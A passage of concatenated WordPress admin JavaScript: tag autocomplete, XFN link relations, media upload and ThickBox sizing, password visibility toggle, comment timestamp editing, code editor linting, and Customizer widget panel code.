id="wp-tags-autocomplete-'+t.id+'">').text(t.name).appendTo(e)},r.attr({role:"combobox","aria-autocomplete":"list","aria-expanded":"false","aria-owns":r.autocomplete("widget").attr("id")}).on("focus",function(){p(r.val()).pop()&&r.autocomplete("search")}),r.autocomplete("widget").addClass("wp-tags-autocomplete").attr("role","listbox").removeAttr("tabindex").on("menufocus",function(e,t){t.item.attr("aria-selected","true")}).on("menublur",function(){s(this).find('[aria-selected="true"]').removeAttr("aria-selected")})),this}}(jQuery);/**
 * Generates the XHTML Friends Network 'rel' string from the inputs.
 *
 * @deprecated 3.5.0
 * @output wp-admin/js/xfn.js
 */
jQuery( function( $ ) {
	$( '#link_rel' ).prop( 'readonly', true );
	$( '#linkxfndiv input' ).on( 'click keyup', function() {
		var isMe = $( '#me' ).is( ':checked' ), inputs = '';
		$( 'input.valinp' ).each( function() {
			if ( isMe ) {
				$( this ).prop( 'disabled', true ).parent().addClass( 'disabled' );
			} else {
				$( this ).removeAttr( 'disabled' ).parent().removeClass( 'disabled' );
				if ( $( this ).is( ':checked' ) && $( this ).val() !== '') {
					inputs += $( this ).val() + ' ';
				}
			}
		});
		$( '#link_rel' ).val( ( isMe ) ? 'me' : inputs.substr( 0,inputs.length - 1 ) );
	});
});
/**
 * Contains global functions for the media upload within the post edit screen.
 *
 * Updates the ThickBox anchor href and the ThickBox's own properties in order
 * to set the size and position on every resize event. Also adds a function to
 * send HTML or text to the currently active editor.
 *
 * @file
 * @since 2.5.0
 * @output wp-admin/js/media-upload.js
 *
 * @requires jQuery
 */

/* global tinymce, QTags, wpActiveEditor, tb_position */

/**
 * Sends the HTML passed in the parameters to TinyMCE.
 *
 * @since 2.5.0
 *
 * @global
 *
 * @param {string} html The HTML to be sent to the editor.
 * @return {void|boolean} Returns false when both TinyMCE and QTags instances
 *                        are unavailable. This means that the HTML was not
 *                        sent to the editor.
 */
window.send_to_editor = function( html ) {
	var editor,
		hasTinymce = typeof tinymce !== 'undefined',
		hasQuicktags = typeof QTags !== 'undefined';

	// If no active editor is set, try to set it.
	if ( ! wpActiveEditor ) {
		if ( hasTinymce && tinymce.activeEditor ) {
			editor = tinymce.activeEditor;
			window.wpActiveEditor = editor.id;
		} else if ( ! hasQuicktags ) {
			return false;
		}
	} else if ( hasTinymce ) {
		editor = tinymce.get( wpActiveEditor );
	}

	// If the editor is set and not hidden,
	// insert the HTML into the content of the editor.
	if ( editor && ! editor.isHidden() ) {
		editor.execCommand( 'mceInsertContent', false, html );
	} else if ( hasQuicktags ) {
		// If quick tags are available, insert the HTML into its content.
		QTags.insertContent( html );
	} else {
		// If neither the TinyMCE editor and the quick tags are available,
		// add the HTML to the current active editor.
		document.getElementById( wpActiveEditor ).value += html;
	}

	// If the old thickbox remove function exists, call it.
	if ( window.tb_remove ) {
		try { window.tb_remove(); } catch( e ) {}
	}
};

(function($) {
	/**
	 * Recalculates and applies the new ThickBox position based on the current
	 * window size.
	 *
	 * @since 2.6.0
	 *
	 * @global
	 *
	 * @return {Object[]} Array containing jQuery objects for all the found
	 *                    ThickBox anchors.
	 */
	window.tb_position = function() {
		var tbWindow = $('#TB_window'),
			width = $(window).width(),
			H = $(window).height(),
			W = ( 833 < width ) ? 833 : width,
			adminbar_height = 0;

		if ( $('#wpadminbar').length ) {
			adminbar_height = parseInt( $('#wpadminbar').css('height'), 10 );
		}

		if ( tbWindow.length ) {
			tbWindow.width( W - 50 ).height( H - 45 - adminbar_height );
			$('#TB_iframeContent').width( W - 50 ).height( H - 75 - adminbar_height );
			tbWindow.css({'margin-left': '-' + parseInt( ( ( W - 50 ) / 2 ), 10 ) + 'px'});
			if ( typeof document.body.style.maxWidth !== 'undefined' )
				tbWindow.css({'top': 20 + adminbar_height + 'px', 'margin-top': '0'});
		}

		/**
		 * Recalculates the new height and width for all links with a ThickBox class.
		 *
		 * @since 2.6.0
		 */
		return $('a.thickbox').each( function() {
			var href = $(this).attr('href');
			if ( ! href ) return;
			href = href.replace(/&width=[0-9]+/g, '');
			href = href.replace(/&height=[0-9]+/g, '');
			$(this).attr( 'href', href + '&width=' + ( W - 80 ) + '&height=' + ( H - 85 - adminbar_height ) );
		});
	};

	// Add handler to recalculates the ThickBox position when the window is resized.
	$(window).on( 'resize', function(){ tb_position(); });

})(jQuery);
/*! This file is auto-generated */
!function(){var t,e,s,i,a=wp.i18n.__;function d(){t=this.getAttribute("data-toggle"),e=this.parentElement.children.namedItem("pwd"),s=this.getElementsByClassName("dashicons")[0],i=this.getElementsByClassName("text")[0],0===parseInt(t,10)?(this.setAttribute("data-toggle",1),this.setAttribute("aria-label",a("Hide password")),e.setAttribute("type","text"),i.innerHTML=a("Hide"),s.classList.remove("dashicons-visibility"),s.classList.add("dashicons-hidden")):(this.setAttribute("data-toggle",0),this.setAttribute("aria-label",a("Show password")),e.setAttribute("type","password"),i.innerHTML=a("Show"),s.classList.remove("dashicons-hidden"),s.classList.add("dashicons-visibility"))}document.querySelectorAll(".pwd-toggle").forEach(function(t){t.classList.remove("hide-if-no-js"),t.addEventListener("click",d)})}();/**
 * @output wp-admin/js/comment.js
 */

/* global postboxes */

/**
 * Binds to the document ready event.
 *
 * @since 2.5.0
 *
 * @param {jQuery} $ The jQuery object.
 */
jQuery( function($) {

	postboxes.add_postbox_toggles('comment');

	var $timestampdiv = $('#timestampdiv'),
		$timestamp = $( '#timestamp' ),
		stamp = $timestamp.html(),
		$timestampwrap = $timestampdiv.find( '.timestamp-wrap' ),
		$edittimestamp = $timestampdiv.siblings( 'a.edit-timestamp' );

	/**
	 * Adds event that opens the time stamp form if the form is hidden.
	 *
	 * @listens $edittimestamp:click
	 *
	 * @param {Event} event The event object.
	 * @return {void}
	 */
	$edittimestamp.on( 'click', function( event ) {
		if ( $timestampdiv.is( ':hidden' ) ) {
			// Slide down the form and set focus on the first field.
			$timestampdiv.slideDown( 'fast', function() {
				$( 'input, select', $timestampwrap ).first().trigger( 'focus' );
			} );
			$(this).hide();
		}
		event.preventDefault();
	});

	/**
	 * Resets the time stamp values when the cancel button is clicked.
	 *
	 * @listens .cancel-timestamp:click
	 *
	 * @param {Event} event The event object.
	 * @return {void}
	 */

	$timestampdiv.find('.cancel-timestamp').on( 'click', function( event ) {
		// Move focus back to the Edit link.
		$edittimestamp.show().trigger( 'focus' );
		$timestampdiv.slideUp( 'fast' );
		$('#mm').val($('#hidden_mm').val());
		$('#jj').val($('#hidden_jj').val());
		$('#aa').val($('#hidden_aa').val());
		$('#hh').val($('#hidden_hh').val());
		$('#mn').val($('#hidden_mn').val());
		$timestamp.html( stamp );
		event.preventDefault();
	});

	/**
	 * Sets the time stamp values when the ok button is clicked.
	 *
	 * @listens .save-timestamp:click
	 *
	 * @param {Event} event The event object.
	 * @return {void}
	 */
	$timestampdiv.find('.save-timestamp').on( 'click', function( event ) { // Crazyhorse branch - multiple OK cancels.
		var aa = $('#aa').val(), mm = $('#mm').val(), jj = $('#jj').val(), hh = $('#hh').val(), mn = $('#mn').val(),
			newD = new Date( aa, mm - 1, jj, hh, mn );

		event.preventDefault();

		if ( newD.getFullYear() != aa || (1 + newD.getMonth()) != mm || newD.getDate() != jj || newD.getMinutes() != mn ) {
			$timestampwrap.addClass( 'form-invalid' );
			return;
		} else {
			$timestampwrap.removeClass( 'form-invalid' );
		}

		$timestamp.html(
			wp.i18n.__( 'Submitted on:' ) + ' <b>' +
			/* translators: 1: Month, 2: Day, 3: Year, 4: Hour, 5: Minute. */
			wp.i18n.__( '%1$s %2$s, %3$s at %4$s:%5$s' )
				.replace( '%1$s', $( 'option[value="' + mm + '"]', '#mm' ).attr( 'data-text' ) )
				.replace( '%2$s', parseInt( jj, 10 ) )
				.replace( '%3$s', aa )
				.replace( '%4$s', ( '00' + hh ).slice( -2 ) )
				.replace( '%5$s', ( '00' + mn ).slice( -2 ) ) +
				'</b> '
		);

		// Move focus back to the Edit link.
		$edittimestamp.show().trigger( 'focus' );
		$timestampdiv.slideUp( 'fast' );
	});
});
/*! This file is auto-generated */
void 0===window.wp&&(window.wp={}),void 0===window.wp.codeEditor&&(window.wp.codeEditor={}),function(u,d){"use strict";function s(r,s){var a=[],d=[];function c(){s.onUpdateErrorNotice&&!_.isEqual(a,d)&&(s.onUpdateErrorNotice(a,r),d=a)}function i(){var i,t=r.getOption("lint");return!!t&&(!0===t?t={}:_.isObject(t)&&(t=u.extend({},t)),t.options||(t.options={}),"javascript"===s.codemirror.mode&&s.jshint&&u.extend(t.options,s.jshint),"css"===s.codemirror.mode&&s.csslint&&u.extend(t.options,s.csslint),"htmlmixed"===s.codemirror.mode&&s.htmlhint&&(t.options.rules=u.extend({},s.htmlhint),s.jshint&&(t.options.rules.jshint=s.jshint),s.csslint)&&(t.options.rules.csslint=s.csslint),t.onUpdateLinting=(i=t.onUpdateLinting,function(t,e,n){var o=_.filter(t,function(t){return"error"===t.severity});i&&i.apply(t,e,n),!_.isEqual(o,a)&&(a=o,s.onChangeLintingErrors&&s.onChangeLintingErrors(o,t,e,n),!r.state.focused||0===a.length||0<d.length)&&c()}),t)}r.setOption("lint",i()),r.on("optionChange",function(t,e){var n,o="CodeMirror-lint-markers";"lint"===e&&(e=r.getOption("gutters")||[],!0===(n=r.getOption("lint"))?(_.contains(e,o)||r.setOption("gutters",[o].concat(e)),r.setOption("lint",i())):n||r.setOption("gutters",_.without(e,o)),r.getOption("lint")?r.performLint():(a=[],c()))}),r.on("blur",c),r.on("startCompletion",function(){r.off("blur",c)}),r.on("endCompletion",function(){r.on("blur",c),_.delay(function(){r.state.focused||c()},500)}),u(document.body).on("mousedown",function(t){!r.state.focused||u.contains(r.display.wrapper,t.target)||u(t.target).hasClass("CodeMirror-hint")||c()})}d.codeEditor.defaultSettings={codemirror:{},csslint:{},htmlhint:{},jshint:{},onTabNext:function(){},onTabPrevious:function(){},onChangeLintingErrors:function(){},onUpdateErrorNotice:function(){}},d.codeEditor.initialize=function(t,e){var a,n,o,i,t=u("string"==typeof t?"#"+t:t),r=u.extend({},d.codeEditor.defaultSettings,e);return r.codemirror=u.extend({},r.codemirror),s(a=d.CodeMirror.fromTextArea(t[0],r.codemirror),r),t={settings:r,codemirror:a},a.showHint&&a.on("keyup",function(t,e){var n,o,i,r,s=/^[a-zA-Z]$/.test(e.key);a.state.completionActive&&s||"string"!==(r=a.getTokenAt(a.getCursor())).type&&"comment"!==r.type&&(i=d.CodeMirror.innerMode(a.getMode(),r.state).mode.name,o=a.doc.getLine(a.doc.getCursor().line).substr(0,a.doc.getCursor().ch),"html"===i||"xml"===i?n="<"===e.key||"/"===e.key&&"tag"===r.type||s&&"tag"===r.type||s&&"attribute"===r.type||"="===r.string&&r.state.htmlState&&r.state.htmlState.tagName:"css"===i?n=s||":"===e.key||" "===e.key&&/:\s+$/.test(o):"javascript"===i?n=s||"."===e.key:"clike"===i&&"php"===a.options.mode&&(n="keyword"===r.type||"variable"===r.type),n)&&a.showHint({completeSingle:!1})}),o=e,i=u((n=a).getTextArea()),n.on("blur",function(){i.data("next-tab-blurs",!1)}),n.on("keydown",function(t,e){27===e.keyCode?i.data("next-tab-blurs",!0):9===e.keyCode&&i.data("next-tab-blurs")&&(e.shiftKey?o.onTabPrevious(n,e):o.onTabNext(n,e),i.data("next-tab-blurs",!1),e.preventDefault())}),t}}(window.jQuery,window.wp);/**
 * @output wp-admin/js/custom-header.js
 */

/* global isRtl */

/**
 * Initializes the custom header selection page.
 *
 * @since 3.5.0
 *
 * @deprecated 4.1.0 The page this is used on is never linked to from the UI.
 *             Setting a custom header is completely handled by the Customizer.
 */
(function($) {
	var frame;

	$( function() {
		// Fetch available headers.
		var $headers = $('.available-headers');

		// Apply jQuery.masonry once the images have loaded.
		$headers.imagesLoaded( function() {
			$headers.masonry({
				itemSelector: '.default-header',
				isRTL: !! ( 'undefined' != typeof isRtl && isRtl )
			});
		});

		/**
		 * Opens the 'choose from library' frame and creates it if it doesn't exist.
		 *
		 * @since 3.5.0
		 * @deprecated 4.1.0
		 *
		 * @return {void}
		 */
		$('#choose-from-library-link').on( 'click', function( event ) {
			var $el = $(this);
			event.preventDefault();

			// If the media frame already exists, reopen it.
			if ( frame ) {
				frame.open();
				return;
			}

			// Create the media frame.
			frame = wp.media.frames.customHeader = wp.media({
				// Set the title of the modal.
				title: $el.data('choose'),

				// Tell the modal to show only images.
				library: {
					type: 'image'
				},

				// Customize the submit button.
				button: {
					// Set the text of the button.
					text: $el.data('update'),
					// Tell the button not to close the modal, since we're
					// going to refresh the page when the image is selected.
					close: false
				}
			});

			/**
			 * Updates the window location to include the selected attachment.
			 *
			 * @since 3.5.0
			 * @deprecated 4.1.0
			 *
			 * @return {void}
			 */
			frame.on( 'select', function() {
				// Grab the selected attachment.
				var attachment = frame.state().get('selection').first(),
					link = $el.data('updateLink');

				// Tell the browser to navigate to the crop step.
				window.location = link + '&file=' + attachment.id;
			});

			frame.open();
		});
	});
}(jQuery));
/**
 * @output wp-admin/js/customize-widgets.js
 */

/* global _wpCustomizeWidgetsSettings */
(function( wp, $ ){

	if ( ! wp || ! wp.customize ) { return; }

	// Set up our namespace...
	var api = wp.customize,
		l10n;

	/**
	 * @namespace wp.customize.Widgets
	 */
	api.Widgets = api.Widgets || {};
	api.Widgets.savedWidgetIds = {};

	// Link settings.
	api.Widgets.data = _wpCustomizeWidgetsSettings || {};
	l10n = api.Widgets.data.l10n;

	/**
	 * wp.customize.Widgets.WidgetModel
	 *
	 * A single widget model.
	 *
	 * @class    wp.customize.Widgets.WidgetModel
	 * @augments Backbone.Model
	 */
	api.Widgets.WidgetModel = Backbone.Model.extend(/** @lends wp.customize.Widgets.WidgetModel.prototype */{
		id: null,
		temp_id: null,
		classname: null,
		control_tpl: null,
		description: null,
		is_disabled: null,
		is_multi: null,
		multi_number: null,
		name: null,
		id_base: null,
		transport: null,
		params: [],
		width: null,
		height: null,
		search_matched: true
	});

	/**
	 * wp.customize.Widgets.WidgetCollection
	 *
	 * Collection for widget models.
	 *
	 * @class    wp.customize.Widgets.WidgetCollection
	 * @augments Backbone.Collection
	 */
	api.Widgets.WidgetCollection = Backbone.Collection.extend(/** @lends wp.customize.Widgets.WidgetCollection.prototype */{
		model: api.Widgets.WidgetModel,

		// Controls searching on the current widget collection
		// and triggers an update event.
		doSearch: function( value ) {

			// Don't do anything if we've already done this search.
			// Useful because the search handler fires multiple times per keystroke.
			if ( this.terms === value ) {
				return;
			}

			// Updates terms with the value passed.
			this.terms = value;

			// If we have terms, run a search...
			if ( this.terms.length > 0 ) {
				this.search( this.terms );
			}

			// If search is blank, set all the widgets as they matched the search to reset the views.
			if ( this.terms === '' ) {
				this.each( function ( widget ) {
					widget.set( 'search_matched', true );
				} );
			}
		},

		// Performs a search within the collection.
		// @uses RegExp
		search: function( term ) {
			var match, haystack;

			// Escape the term string for RegExp meta characters.
			term = term.replace( /[-\/\\^$*+?.()|[\]{}]/g, '\\$&' );

			// Consider spaces as word delimiters and match the whole string
			// so matching terms can be combined.
			term = term.replace( / /g, ')(?=.*' );
			match = new RegExp( '^(?=.*' + term + ').+', 'i' );

			this.each( function ( data ) {
				haystack = [ data.get( 'name' ), data.get( 'description' ) ].join( ' ' );
				data.set( 'search_matched', match.test( haystack ) );
			} );
		}
	});
	api.Widgets.availableWidgets = new api.Widgets.WidgetCollection( api.Widgets.data.availableWidgets );

	/**
	 * wp.customize.Widgets.SidebarModel
	 *
	 * A single sidebar model.
	 *
	 * @class    wp.customize.Widgets.SidebarModel
	 * @augments Backbone.Model
	 */
	api.Widgets.SidebarModel = Backbone.Model.extend(/** @lends wp.customize.Widgets.SidebarModel.prototype */{
		after_title: null,
		after_widget: null,
		before_title: null,
		before_widget: null,
		'class': null,
		description: null,
		id: null,
		name: null,
		is_rendered: false
	});

	/**
	 * wp.customize.Widgets.SidebarCollection
	 *
	 * Collection for sidebar models.
	 *
	 * @class    wp.customize.Widgets.SidebarCollection
	 * @augments Backbone.Collection
	 */
	api.Widgets.SidebarCollection = Backbone.Collection.extend(/** @lends wp.customize.Widgets.SidebarCollection.prototype */{
		model: api.Widgets.SidebarModel
	});
	api.Widgets.registeredSidebars = new api.Widgets.SidebarCollection( api.Widgets.data.registeredSidebars );

	api.Widgets.AvailableWidgetsPanelView = wp.Backbone.View.extend(/** @lends wp.customize.Widgets.AvailableWidgetsPanelView.prototype */{

		el: '#available-widgets',

		events: {
			'input #widgets-search': 'search',
			'focus .widget-tpl' : 'focus',
			'click .widget-tpl' : '_submit',
			'keypress .widget-tpl' : '_submit',
			'keydown' : 'keyboardAccessible'
		},

		// Cache current selected widget.
		selected: null,

		// Cache sidebar control which has opened panel.
		currentSidebarControl: null,
		$search: null,
		$clearResults: null,
		searchMatchesCount: null,

		/**
		 * View class for the available widgets panel.
		 *
		 * @constructs wp.customize.Widgets.AvailableWidgetsPanelView
		 * @augments   wp.Backbone.View
		 */
		initialize: function() {
			var self = this;

			this.$search = $( '#widgets-search' );

			this.$clearResults = this.$el.find( '.clear-results' );

			_.bindAll( this, 'close' );

			this.listenTo( this.collection, 'change', this.updateList );

			this.updateList();

			// Set the initial search count to the number of available widgets.
			this.searchMatchesCount = this.collection.length;

			/*
			 * If the available widgets panel is open and the customize controls
			 * are interacted with (i.e. available widgets panel is blurred) then
			 * close the available widgets panel. Also close on back button click.
			 */
			$( '#customize-controls, #available-widgets .customize-section-title' ).on( 'click keydown', function( e ) {
				var isAddNewBtn = $( e.target ).is( '.add-new-widget, .add-new-widget *' );
				if ( $( 'body' ).hasClass( 'adding-widget' ) && ! isAddNewBtn ) {
					self.close();
				}
			} );

			// Clear the search results and trigger an `input` event to fire a new search.
			this.$clearResults.on( 'click', function() {
				self.$search.val( '' ).trigger( 'focus' ).trigger( 'input' );
			} );

			// Close the panel if the URL in the preview changes.
			api.previewer.bind( 'url', this.close );
		},

		/**
		 * Performs a search and handles selected widget.
		 */
		search: _.debounce( function( event ) {
			var firstVisible;

			this.collection.doSearch( event.target.value );
			// Update the search matches count.
			this.updateSearchMatchesCount();
			// Announce how many search results.
			this.announceSearchMatches();

			// Remove a widget from being selected if it is no longer visible.
			if ( this.selected && ! this.selected.is( ':visible' ) ) {
				this.selected.removeClass( 'selected' );
				this.selected = null;
			}

			// If a widget was selected but the filter value has been cleared out, clear selection.
			if ( this.selected && ! event.target.value ) {
				this.selected.removeClass( 'selected' );
				this.selected = null;
			}

			// If a filter has been entered and a widget hasn't been selected, select the first one shown.
			if ( ! this.selected && event.target.value ) {
				firstVisible = this.$el.find( '> .widget-tpl:visible:first' );
				if ( firstVisible.length ) {
					this.select( firstVisible );
				}
			}

			// Toggle the clear search results button.
			if ( '' !== event.target.value ) {
				this.$clearResults.addClass( 'is-visible' );
			} else if ( '' === event.target.value ) {
				this.$clearResults.removeClass( 'is-visible' );
			}

			// Set a CSS class on the search container when there are no search results.
			if ( ! this.searchMatchesCount ) {
				this.$el.addClass( 'no-widgets-found' );
			} else {
				this.$el.removeClass( 'no-widgets-found' );
			}
		}, 500 ),

		/**
		 * Updates the count of the available widgets that have the `search_matched` attribute.
 		 */
		updateSearchMatchesCount: function() {
			this.searchMatchesCount = this.collection.where({ search_matched: true }).length;
		},

		/**
		 * Sends a message to the aria-live region to announce how many search results.
		 */
		announceSearchMatches: function() {
			var message = l10n.widgetsFound.replace( '%d', this.searchMatchesCount ) ;

			if ( ! this.searchMatchesCount ) {
				message = l10n.noWidgetsFound;
			}

			wp.a11y.speak( message );
		},

		/**
		 * Changes visibility of available widgets.
 		 */
		updateList: function() {
			this.collection.each( function( widget ) {
				var widgetTpl = $( '#widget-tpl-' + widget.id );
				widgetTpl.toggle( widget.get( 'search_matched' ) && ! widget.get( 'is_disabled' ) );
				if ( widget.get( 'is_disabled' ) && widgetTpl.is( this.selected ) ) {
					this.selected = null;
				}
			} );
		},

		/**
		 * Highlights a widget.
 		 */
		select: function( widgetTpl ) {
			this.selected = $( widgetTpl );
			this.selected.siblings( '.widget-tpl' ).removeClass( 'selected' );
			this.selected.addClass( 'selected' );
		},

		/**
		 * Highlights a widget on focus.
		 */
		focus: function( event ) {
			this.select( $( event.currentTarget ) );
		},

		/**
		 * Handles submit for keypress and click on widget.
		 */
		_submit: function( event ) {
			// Only proceed with keypress if it is Enter or Spacebar.
			if ( event.type === 'keypress' && ( event.which !== 13 && event.which !== 32 ) ) {
				return;
			}

			this.submit( $( event.currentTarget ) );
		},

		/**
		 * Adds a selected widget to the sidebar.
 		 */
		submit: function( widgetTpl ) {
			var widgetId, widget, widgetFormControl;

			if ( ! widgetTpl ) {
				widgetTpl = this.selected;
			}

			if ( ! widgetTpl || ! this.currentSidebarControl ) {
				return;
			}

			this.select( widgetTpl );

			widgetId = $( this.selected ).data( 'widget-id' );
			widget = this.collection.findWhere( { id: widgetId } );
			if ( ! widget ) {
				return;
			}

			widgetFormControl = this.currentSidebarControl.addWidget( widget.get( 'id_base' ) );
			if ( widgetFormControl ) {
				widgetFormControl.focus();
			}

			this.close();
		},

		/**
		 * Opens the panel.
		 */
		open: function( sidebarControl ) {
			this.currentSidebarControl = sidebarControl;

			// Wide widget controls appear over the preview, and so they need to be collapsed when the panel opens.
			_( this.currentSidebarControl.getWidgetFormControls() ).each( function( control ) {
				if ( control.params.is_wide ) {
					control.collapseForm();
				}
			} );

			if ( api.section.has( 'publish_settings' ) ) {
				api.section( 'publish_settings' ).collapse();
			}

			$( 'body' ).addClass( 'adding-widget' );

			this.$el.find( '.selected' ).removeClass( 'selected' );

			// Reset search.
			this.collection.doSearch( '' );

			if ( ! api.settings.browser.mobile ) {
				this.$search.trigger( 'focus' );
			}
		},

		/**
		 * Closes the panel.
		 */
		close: function( options ) {
			options = options || {};

			if ( options.returnFocus && this.currentSidebarControl ) {
				this.currentSidebarControl.container.find( '.add-new-widget' ).focus();
			}

			this.currentSidebarControl = null;
			this.selected = null;

			$( 'body' ).removeClass( 'adding-widget' );

			this.$search.val( '' ).trigger( 'input' );
		},

		/**
		 * Adds keyboard accessiblity to the panel.
		 */
		keyboardAccessible: function( event ) {
			var isEnter = ( event.which === 13 ),
				isEsc = ( event.which === 27 ),
				isDown = ( event.which === 40 ),
				isUp = ( event.which === 38 ),
				isTab = ( event.which === 9 ),
				isShift = ( event.shiftKey ),
				selected = null,
				firstVisible = this.$el.find( '> .widget-tpl:visible:first' ),
				lastVisible = this.$el.find( '> .widget-tpl:visible:last' ),
				isSearchFocused = $( event.target ).is( this.$search ),
				isLastWidgetFocused = $( event.target ).is( '.widget-tpl:visible:last' );

			if ( isDown || isUp ) {
				if ( isDown ) {
					if ( isSearchFocused ) {
						selected = firstVisible;
					} else if ( this.selected && this.selected.nextAll( '.widget-tpl:visible' ).length !== 0 ) {
						selected = this.selected.nextAll( '.widget-tpl:visible:first' );
					}
				} else if ( isUp ) {
					if ( isSearchFocused ) {
						selected = lastVisible;
					} else if ( this.selected && this.selected.prevAll( '.widget-tpl:visible' ).length !== 0 ) {
						selected = this.selected.prevAll( '.widget-tpl:visible:first' );
					}
				}

				this.select( selected );

				if ( selected ) {
					selected.trigger( 'focus' );
				} else {
					this.$search.trigger( 'focus' );
				}

				return;
			}

			// If enter pressed but nothing entered, don't do anything.
			if ( isEnter && ! this.$search.val() ) {
				return;
			}

			if ( isEnter ) {
				this.submit();
			} else if ( isEsc ) {
				this.close( { returnFocus: true } );
			}

			if ( this.currentSidebarControl && isTab && ( isShift && isSearchFocused || ! isShift && isLastWidgetFocused ) ) {
				this.currentSidebarControl.container.find( '.add-new-widget' ).focus();
				event.preventDefault();
			}
		}
	});

	/**
	 * Handlers for the widget-synced event, organized by widget ID base.
	 * Other widgets may provide their own update handlers by adding
	 * listeners for the widget-synced event.
	 *
	 * @alias    wp.customize.Widgets.formSyncHandlers
	 */
	api.Widgets.formSyncHandlers = {

		/**
		 * @param {jQuery.Event} e
		 * @param {jQuery} widget
		 * @param {string} newForm
		 */
		rss: function( e, widget, newForm ) {
			var oldWidgetError = widget.find( '.widget-error:first' ),
				newWidgetError = $( '<div>' + newForm + '</div>' ).find( '.widget-error:first' );

			if ( oldWidgetError.length && newWidgetError.length ) {
				oldWidgetError.replaceWith( newWidgetError );
			} else if ( oldWidgetError.length ) {
				oldWidgetError.remove();
			} else if ( newWidgetError.length ) {
				widget.find( '.widget-content:first' ).prepend( newWidgetError );
			}
		}
	};

	api.Widgets.WidgetControl = api.Control.extend(/** @lends wp.customize.Widgets.WidgetControl.prototype */{
		defaultExpandedArguments: {
			duration: 'fast',
			completeCallback: $.noop
		},

		/**
		 * wp.customize.Widgets.WidgetControl
		 *
		 * Customizer control for widgets.
		 * Note that 'widget_form' must match the WP_Widget_Form_Customize_Control::$type
		 *
		 * @since 4.1.0
		 *
		 * @constructs wp.customize.Widgets.WidgetControl
		 * @augments   wp.customize.Control
		 */
		initialize: function( id, options ) {
			var control = this;

			control.widgetControlEmbedded = false;
			control.widgetContentEmbedded = false;
			control.expanded = new api.Value( false );
			control.expandedArgumentsQueue = [];
			control.expanded.bind( function( expanded ) {
				var args = control.expandedArgumentsQueue.shift();
				args = $.extend( {}, control.defaultExpandedArguments, args );
				control.onChangeExpanded( expanded, args );
			});
			control.altNotice = true;

			api.Control.prototype.initialize.call( control, id, options );
		},

		/**
		 * Set up the control.
		 *
		 * @since 3.9.0
		 */
		ready: function() {
			var control = this;

			/*
			 * Embed a placeholder once the section is expanded. The full widget
			 * form content will be embedded once the control itself is expanded,
			 * and at this point the widget-added event will be triggered.
			 */
			if ( ! control.section() ) {
				control.embedWidgetControl();
			} else {
				api.section( control.section(), function( section ) {
					var onExpanded = function( isExpanded ) {
						if ( isExpanded ) {
							control.embedWidgetControl();
							section.expanded.unbind( onExpanded );
						}
					};
					if ( section.expanded() ) {
						onExpanded( true );
					} else {
						section.expanded.bind( onExpanded );
					}
				} );
			}
		},

		/**
		 * Embed the .widget element inside the li container.
		 *
		 * @since 4.4.0
		 */
		embedWidgetControl: function() {
			var control = this, widgetControl;

			if ( control.widgetControlEmbedded ) {
				return;
			}
			control.widgetControlEmbedded = true;

			widgetControl = $( control.params.widget_control );
			control.container.append( widgetControl );

			control._setupModel();
			control._setupWideWidget();
			control._setupControlToggle();

			control._setupWidgetTitle();
			control._setupReorderUI();
			control._setupHighlightEffects();
			control._setupUpdateUI();
			control._setupRemoveUI();
		},

		/**
		 * Embed the actual widget form inside of .widget-content and finally trigger the widget-added event.
		 *
		 * @since 4.4.0
		 */
		embedWidgetContent: function() {
			var control = this, widgetContent;

			control.embedWidgetControl();
			if ( control.widgetContentEmbedded ) {
				return;
			}
			control.widgetContentEmbedded = true;

			// Update the notification container element now that the widget content has been embedded.
			control.notifications.container = control.getNotificationsContainerElement();
			control.notifications.render();

			widgetContent = $( control.params.widget_content );
			control.container.find( '.widget-content:first' ).append( widgetContent );

			/*
			 * Trigger widget-added event so that plugins can attach any event
			 * listeners and dynamic UI elements.
			 */
			$( document ).trigger( 'widget-added', [ control.container.find( '.widget:first' ) ] );

		},

		/**
		 * Handle changes to the setting
		 */
		_setupModel: function() {
			var self = this, rememberSavedWidgetId;

			// Remember saved widgets so we know which to trash (move to inactive widgets sidebar).
			rememberSavedWidgetId = function() {
				api.Widgets.savedWidgetIds[self.params.widget_id] = true;
			};
			api.bind( 'ready', rememberSavedWidgetId );
			api.bind( 'saved', rememberSavedWidgetId );

			this._updateCount = 0;
			this.isWidgetUpdating = false;
			this.liveUpdateMode = true;

			// Update widget whenever model changes.
			this.setting.bind( function( to, from ) {
				if ( ! _( from ).isEqual( to ) && ! self.isWidgetUpdating ) {
					self.updateWidget( { instance: to } );
				}
			} );
		},

		/**
		 * Add special behaviors for wide widget controls
		 */
		_setupWideWidget: function() {
			var self = this, $widgetInside, $widgetForm, $customizeSidebar,
				$themeControlsContainer, positionWidget;

			if ( ! this.params.is_wide || $( window ).width() <= 640 /* max-width breakpoint in customize-controls.css */ ) {
				return;
			}

			$widgetInside = this.container.find( '.widget-inside' );
			$widgetForm = $widgetInside.find( '> .form' );
			$customizeSidebar = $( '.wp-full-overlay-sidebar-content:first' );
			this.container.addClass( 'wide-widget-control' );

			this.container.find( '.form:first' ).css( {
				'max-width': this.params.width,
				'min-height': this.params.height
			} );

			/**
			 * Keep the widget-inside positioned so the top of fixed-positioned
			 * element is at the same top position as the widget-top. When the
			 * widget-top is scrolled out of view, keep the widget-top in view;
			 * likewise, don't allow the widget to drop off the bottom of the window.
			 * If a widget is too tall to fit in the window, don't let the height
			 * exceed the window height so that the contents of the widget control
			 * will become scrollable (overflow:auto).
			 */
			positionWidget = function() {
				var offsetTop = self.container.offset().top,
					windowHeight = $( window ).height(),
					formHeight = $widgetForm.outerHeight(),
					top;
				$widgetInside.css( 'max-height', windowHeight );
				top = Math.max(
					0, // Prevent top from going off screen.
					Math.min(
						Math.max( offsetTop, 0 ), // Distance widget in panel is from top of screen.
						windowHeight - formHeight // Flush up against bottom of screen.
					)
				);
				$widgetInside.css( 'top', top );
			};

			$themeControlsContainer = $( '#customize-theme-controls' );
			this.container.on( 'expand', function() {
				positionWidget();
				$customizeSidebar.on( 'scroll', positionWidget );
				$( window ).on( 'resize', positionWidget );
				$themeControlsContainer.on( 'expanded collapsed', positionWidget );
			} );
			this.container.on( 'collapsed', function() {
				$customizeSidebar.off( 'scroll', positionWidget );
				$( window ).off( 'resize', positionWidget );
				$themeControlsContainer.off( 'expanded collapsed', positionWidget );
			} );

			// Reposition whenever a sidebar's widgets are changed.
			api.each( function( setting ) {
				if ( 0 === setting.id.indexOf( 'sidebars_widgets[' ) ) {
					setting.bind( function() {
						if ( self.container.hasClass( 'expanded' ) ) {
							positionWidget();
						}
					} );
				}
			} );
		},

		/**
		 * Show/hide the control when clicking on the form title, when clicking
		 * the close button
		 */
